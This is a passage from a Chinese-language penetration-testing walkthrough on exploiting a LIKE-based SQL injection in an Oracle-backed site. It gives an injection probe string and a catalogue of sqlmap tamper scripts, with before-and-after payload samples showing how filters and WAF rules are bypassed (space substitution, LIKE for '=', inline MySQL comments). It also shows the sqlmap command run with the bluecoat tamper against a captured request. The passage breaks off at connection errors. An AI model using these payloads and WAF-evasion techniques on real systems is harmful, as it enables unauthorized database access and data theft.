接下来用sysdata参数可以确定数据库为oracle。 sysdata函数为oracle数据库的日期,length求的是字符长度,可构造语句: 1’ AND LENGTH(SYSDATE) LIKE LENGTH(SYSDATE) AND ‘NGjD’ LIKE 'NGjD
现在可以确定存在注入了,于是移步到工具使用环节 like注入的话一般要用到tamper脚本了,SQLMAP 的tamper脚本可在一定程度上避开应用程序的敏感字符过滤、绕过 WAF 规则的阻挡,继而进行渗透攻击,否则可能会检测不出注入,常见的tamper脚本有: base64encode.py 适用数据库:ALL 作用:替换为base64编码 使用脚本前:tamper(“1’ AND SLEEP(5)#”) 使用脚本后:MScgQU5EIFNMRUVQKDUpIw== space2plus.py 适用数据库:ALL 作用:用加号替换空格 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT+id+FROM+users space2randomblank.py 适用数据库:ALL 作用:将空格替换为其他有效字符 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT%0Did%0DFROM%0Ausers space2comment.py 作用:将空格替换为// 使用脚本前:tamper(‘SELECT id FROM users’) 使用脚本后:SELECT//id//FROM//users equaltolike.py 作用:将=替换为LIKE 使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’) 使用脚本后:SELECT * FROM users WHERE id LIKE 1 bluecoat.py 适用数据库:Blue Coat SGOS 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换= 使用脚本前:tamper(‘SELECT id FROM users where id = 1’) 使用脚本后:SELECT%09id FROM users where id LIKE 1 versionedkeywords.py 适用数据库:MySQL 作用:内联注释绕过 使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’) 使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# between.py 作用:用NOT BETWEEN 0 AND #替换> 使用脚本前:tamper(‘1 AND A > B–’) 使用脚本后:1 AND A NOT BETWEEN 0 AND B– 本次用到的是bluecoat python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat 是可以跑出存在注入的,我们看到数据库的类型判断的不太对,且还一直报 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 翻译:[紧急]连接被丢弃或接收到未知的HTTP状态码。Sqlmap将重试请求。 然后这里无论你y或者n,都会自动停止